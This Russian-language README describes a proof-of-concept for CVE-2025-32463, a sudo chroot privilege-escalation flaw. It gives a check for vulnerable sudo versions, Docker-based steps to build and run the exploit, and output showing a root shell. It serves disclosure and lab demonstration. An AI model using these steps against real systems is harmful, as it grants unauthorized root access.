
C-реализация PoC chwoot
Этот репозиторий предоставляет минимальную воспроизводимую среду для демонстрации уязвимости повышения привилегий CVE‑2025‑32463 в функции chroot в sudo.
Уязвимы сборки sudo 1.9.14 вплоть до 1.9.17 (все p‑ревизии) в большинстве дистрибутивов Linux.
Страницы безопасности
| Файл | Назначение |
|---|---|
| Dockerfile | Создаёт образ Ubuntu 24.04 с уязвимым sudo 1.9.16p2 и инструментами сборки |
| sudo‑chwoot.sh | PoC‑эксплойт, запускающий корневую оболочку внутри chroot |
| run.sh | Вспомогательный скрипт, собирающий образ (при необходимости) и запускающий контейнер с эксплойтом |
# Vulnerable sudo
poc ~ $ sudo -R woot woot
sudo: woot: No such file or directory
# Patched sudo
poc ~ $ sudo -R woot woot
[sudo] password for poc:
sudo: you are not permitted to use the -R option with woot
# 1 – clone repo
$ git clone https://github.com/vpr-labs/CVE-2025-32463.git
$ cd CVE-2025-32463
# 2 – build and run Docker image (tagged "vpr-chwoot")
$ ./run.sh
# 3 – run exploit in container (runs root command directly)
poc@f722d9182d1f:~$ make && ./vpr-chwoot
woot!
root@f722d9182d1f:/# id
uid=0(root) gid=0(root) groups=0(root),1001(poc)
root@f722d9182d1f:/#
run.sh передаёт Docker флаги --privileged и --rm, поэтому контейнер автоматически удаляется при выходе.
Удалите образ, когда закончите:
docker rmi vpr-chwoot